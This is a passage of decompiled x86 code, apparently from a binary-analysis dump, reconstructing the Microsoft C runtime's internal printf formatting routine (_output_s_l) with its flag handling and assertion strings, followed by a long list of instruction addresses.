																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0xf86dff92
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE60(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x440380; // 0xa86dfc78
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE60(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0x886dfc7f
																							E004246D0(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__edx =  *(__ebp - 4);
																						__edx =  *(__ebp - 4) + 1;
																						__eflags = __edx;
																						 *(__ebp - 4) = __edx;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																					do {
																						L190:
																						__eflags =  *(__ebp - 0x28);
																						if( *(__ebp - 0x28) != 0) {
																							goto L216;
																						}
																						goto L191;
																					} while ( *(__ebp - 0x324) > 0x37);
																					goto L72;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags = __ecx - 0x67;
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			__eflags =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00428370(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E004283B0(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E00434240(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				__eflags =  *(__ebp - 0x280);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		case 7:
																			L144:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E00428370(__ebp + 0x14);
																			__eax = E00433F20();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			}
																			L110:
																			__edx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			__eflags =  *(__ebp - 0x29c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E390();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x29c);
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			} else {
																				L117:
																				 *((intOrPtr*)(L00422E80(__ecx))) = 0x16;
																				__eax = E00422C10(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AE30(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428370(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428370(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428370(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428390(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428390(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																		case 0xa:
																			goto L0;
																		case 0xb:
																			L90:
																			__eflags =  *(__ebp - 0x30) - 0xffffffff;
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428370(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			__eflags =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					__eflags = __ecx;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					__eflags = __ecx;
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				__eax =  *(__ebp - 0x28c);
																				__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				__eflags = __eax;
																				 *(__ebp - 0x24) = __eax;
																				goto L108;
																			} else {
																				L94:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					__eflags =  *(__ebp - 0x290);
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			}
																		case 0xc:
																			L145:
																			 *(__ebp - 8) = 0xa;
																			while(1) {
																				L153:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E00428370(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428370(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																								 *(__ebp - 0x2b4) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428370(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x2b8) = E00428390(__ebp + 0x14);
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428390(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L170;
																				}
																				goto L166;
																			}
																		case 0xd:
																			L147:
																			 *(__ebp - 0x260) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x14) = 0x30;
																				 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																				__eflags =  *(__ebp - 0x260) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			while(1) {
																				L153:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E00428370(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428370(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																								 *(__ebp - 0x2b4) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428370(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x2b8) = E00428390(__ebp + 0x14);
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428390(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L170;
																				}
																				goto L166;
																			}
																		case 0xe:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																	}
																case 8:
																	L30:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																	goto L33;
																case 9:
																	L31:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	goto L33;
																case 0xa:
																	L29:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000001;
																	 *(__ebp - 0x10) = __ecx;
																	goto L33;
																case 0xb:
																	L28:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	goto L33;
																case 0xc:
																	L32:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000008;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	goto L33;
																case 0xd:
																	L33:
																	goto L218;
															}
														} else {
															if(0 == 0) {
																 *(_t557 - 0x314) = 0;
															} else {
																 *(_t557 - 0x314) = 1;
															}
															_t543 =  *(_t557 - 0x314);
															 *(_t557 - 0x278) =  *(_t557 - 0x314);
															if( *(_t557 - 0x278) == 0) {
																_push(L"(\"Incorrect format specifier\", 0)");
																_push(0);
																_push(0x460);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t526 = L0041E390();
																_t559 = _t559 + 0x14;
																if(_t526 == 1) {
																	asm("int3");
																}
															}
															L14:
															if( *(_t557 - 0x278) != 0) {
																goto L16;
															} else {
																 *((intOrPtr*)(L00422E80(_t543))) = 0x16;
																E00422C10(_t528, _t543, _t555, _t556, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																 *(_t557 - 0x2f0) = 0xffffffff;
																E0041AE30(_t557 - 0x40);
																_t499 =  *(_t557 - 0x2f0);
																L229:
																return E0042BCD0(_t499, _t528,  *(_t557 - 0x48) ^ _t557, _t547, _t555, _t556);
															}
														}
													}
													L219:
													__eflags =  *(_t557 - 0x25c);
													if( *(_t557 - 0x25c) == 0) {
														L222:
														 *(_t557 - 0x334) = 1;
														L223:
														_t530 =  *(_t557 - 0x334);
														 *(_t557 - 0x2e0) =  *(_t557 - 0x334);
														__eflags =  *(_t557 - 0x2e0);
														if( *(_t557 - 0x2e0) == 0) {
															_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
															_push(0);
															_push(0x8f5);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t504 = L0041E390();
															_t559 = _t559 + 0x14;
															__eflags = _t504 - 1;
															if(_t504 == 1) {
																asm("int3");
															}
														}
														__eflags =  *(_t557 - 0x2e0);
														if( *(_t557 - 0x2e0) != 0) {
															 *(_t557 - 0x300) =  *(_t557 - 0x24c);
															E0041AE30(_t557 - 0x40);
															_t499 =  *(_t557 - 0x300);
														} else {
															 *((intOrPtr*)(L00422E80(_t530))) = 0x16;
															E00422C10(_t528, _t530, _t555, _t556, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
															 *(_t557 - 0x2fc) = 0xffffffff;
															E0041AE30(_t557 - 0x40);
															_t499 =  *(_t557 - 0x2fc);
														}
														goto L229;
													}
													L220:
													__eflags =  *(_t557 - 0x25c) - 7;
													if( *(_t557 - 0x25c) == 7) {
														goto L222;
													}
													L221:
													 *(_t557 - 0x334) = 0;
													goto L223;
												}
											}
											L187:
											__eflags =  *(__ebp - 0x24);
											if( *(__ebp - 0x24) == 0) {
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												goto L190;
											}
											L188:
											__eax =  *(__ebp - 4);
											__ecx =  *( *(__ebp - 4));
											__eflags = __ecx - 0x30;
											if(__ecx == 0x30) {
												goto L190;
											}
											goto L189;
										}
										L183:
										__eax =  *(__ebp - 8);
										asm("cdq");
										__ecx =  *(__ebp - 0x2bc);
										__edx =  *(__ebp - 0x2c0);
										__eax = E004307A0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
										 *(__ebp - 0x2ac) = __eax;
										__eax =  *(__ebp - 8);
										asm("cdq");
										__eax =  *(__ebp - 0x2bc);
										__ecx =  *(__ebp - 0x2c0);
										 *(__ebp - 0x2c0) = E00430820( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
										 *(__ebp - 0x2bc) = __edx;
										__eflags =  *(__ebp - 0x2ac) - 0x39;
										if( *(__ebp - 0x2ac) > 0x39) {
											__edx =  *(__ebp - 0x2ac);
											__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
											__eflags = __edx;
											 *(__ebp - 0x2ac) = __edx;
										}
										__eax =  *(__ebp - 4);
										__cl =  *(__ebp - 0x2ac);
										 *( *(__ebp - 4)) = __cl;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										L181:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L183;
										}
										goto L182;
									}
								}
								L168:
								__eflags =  *(__ebp - 0x2b8);
								if( *(__ebp - 0x2b8) >= 0) {
									goto L170;
								}
								goto L169;
								L170:
								__ecx =  *(__ebp - 0x2b8);
								 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
								__edx =  *(__ebp - 0x2b4);
								 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
								goto L171;
							}
						}
					}
				}
			}

0x00434fb4
0x00434fb4
0x00434fb4
0x00434fb4
0x00434fb4
0x00434fb4
0x00434fb4
0x00434fbb
0x00434fbb
0x00434fbb
0x00434fd1
0x00434fd1
0x00434fd1
0x00434fdb
0x00434fdb
0x00434fe1
0x00434fe3
0x00434fed
0x00434fed
0x00434ff0
0x00434ff3
0x00434ff3
0x0043501a
0x0043501a
0x0043501d
0x0043501d
0x00435022
0x00435044
0x00435044
0x0043504a
0x0043506c
0x0043506c
0x0043506f
0x004350b6
0x004350b6
0x004350b9
0x004350d6
0x004350da
0x004350e2
0x004350e2
0x004350e4
0x004350ea
0x004350bb
0x004350bb
0x004350bf
0x004350c7
0x004350c8
0x004350ce
0x004350ce
0x00435071
0x00435074
0x00435074
0x00435077
0x00435095
0x004350a1
0x004350a4
0x004350a5
0x004350ab
0x00435079
0x00435079
0x0043507d
0x00435085
0x00435086
0x00435087
0x0043508d
0x0043508d
0x004350b1
0x0043504c
0x0043504c
0x00435058
0x0043505e
0x0043505e
0x00435024
0x00435024
0x00435030
0x00435036
0x00435036
0x004350f3
0x004350f3
0x004350f6
0x00000000
0x00000000
0x004350f8
0x004350f8
0x004350ff
0x00000000
0x00000000
0x00435101
0x00435101
0x0043510c
0x00435112
0x00435114
0x0043511a
0x0043511d
0x0043511f
0x00435125
0x0043512e
0x00435133
0x00435150
0x00435153
0x00435153
0x00435158
0x0043515d
0x0043515d
0x00435163
0x00435165
0x0043516b
0x00435171
0x00435171
0x0043517a
0x0043517a
0x00435163
0x00435180
0x00435184
0x00435192
0x00435195
0x00435198
0x0043519f
0x004351a1
0x004351a1
0x00435186
0x00435186
0x00435186
0x004351ae
0x004351ae
0x004351b4
0x004351b6
0x004351b6
0x004351bd
0x004351c0
0x004351c3
0x004351c3
0x004351c3
0x004351c9
0x004351cc
0x004351cf
0x004351d1
0x00000000
0x00000000
0x004351d3
0x004351d9
0x004351d9
0x004351df
0x0043525c
0x0043525f
0x00435262
0x00435265
0x00435268
0x0043526b
0x00435271
0x00435271
0x00435277
0x004352a2
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x004352ac
0x004352af
0x004352af
0x004352b2
0x004352b7
0x004352b7
0x004352bc
0x004352ce
0x004352ce
0x004352d1
0x004352e3
0x004352e3
0x004352e6
0x004352e8
0x004352ec
0x004352ec
0x004352d3
0x004352d3
0x004352d7
0x004352d7
0x004352be
0x004352be
0x004352c2
0x004352c2
0x004352bc
0x004352f6
0x004352f9
0x004352fc
0x00435305
0x00435305
0x00435308
0x0043530a
0x00435311
0x00435315
0x0043531e
0x00435323
0x00435326
0x0043532d
0x00435331
0x00435335
0x00435341
0x00435344
0x00435344
0x00435347
0x0043534c
0x0043534c
0x0043534f
0x00435351
0x00435358
0x0043535c
0x00435365
0x0043536a
0x0043534f
0x0043536d
0x00435371
0x00435445
0x00435445
0x0043544c
0x00435450
0x00435454
0x00435458
0x00000000
0x00435377
0x00435377
0x00435377
0x0043537b
0x00000000
0x00000000
0x00435381
0x00435381
0x0043538b
0x0043538e
0x00435394
0x00435397
0x0043539d
0x0043539d
0x0043539d
0x004353a9
0x004353ac
0x004353b2
0x004353b4
0x00000000
0x00000000
0x004353ba
0x004353ba
0x004353c3
0x004353ca
0x004353d4
0x004353db
0x004353ea
0x004353f6
0x004353f9
0x004353ff
0x00435406
0x00435411
0x00435411
0x00000000
0x00435411
0x00435408
0x00435408
0x0043540f
0x0043541d
0x0043541d
0x00435424
0x00435428
0x00435436
0x00000000
0x0043543b
0x00000000
0x0043540f
0x00435443
0x00435460
0x00435460
0x00435467
0x0043546c
0x0043546c
0x0043546f
0x00435471
0x00435478
0x0043547c
0x00435485
0x0043548a
0x0043546f
0x00435467
0x0043548d
0x0043548d
0x00435491
0x00435499
0x004354a1
0x004354a1
0x004354a8
0x004354a8
0x0043457f
0x00434585
0x00434592
0x00434597
0x00000000
0x004345aa
0x004345b4
0x004345db
0x004345c2
0x004345d3
0x004345d3
0x004345b4
0x004345e5
0x004345eb
0x004345f7
0x004345fa
0x00434608
0x0043460b
0x00434618
0x004346bd
0x004346c3
0x004346c9
0x004346d0
0x00000000
0x00000000
0x004346d6
0x004346dc
0x00000000
0x004346e3
0x004346e3
0x004346fb
0x00434700
0x00434703
0x00434705
0x004347bf
0x004347d2
0x004347d7
0x00000000
0x0043470b
0x0043471e
0x00434723
0x00434729
0x0043472b
0x00434734
0x00434734
0x00434737
0x00434743
0x00434747
0x0043474d
0x0043474f
0x00434754
0x00434756
0x0043475b
0x00434760
0x00434762
0x00434767
0x0043476a
0x0043476d
0x0043476f
0x0043476f
0x0043476d
0x00434770
0x00434770
0x00434777
0x00000000
0x00434779
0x0043477e
0x0043479a
0x004347a2
0x004347af
0x004347b4
0x00000000
0x004347b4
0x00434777
0x00000000
0x004347df
0x004347df
0x004347e6
0x004347e9
0x004347ec
0x004347ef
0x004347f2
0x004347f5
0x004347f8
0x004347ff
0x00434806
0x00000000
0x00000000
0x00434812
0x00434812
0x00434819
0x00434825
0x00434828
0x0043482e
0x00434835
0x00000000
0x00000000
0x00434837
0x00434837
0x0043483d
0x0043483d
0x00434844
0x00000000
0x00000000
0x00000000
0x00000000
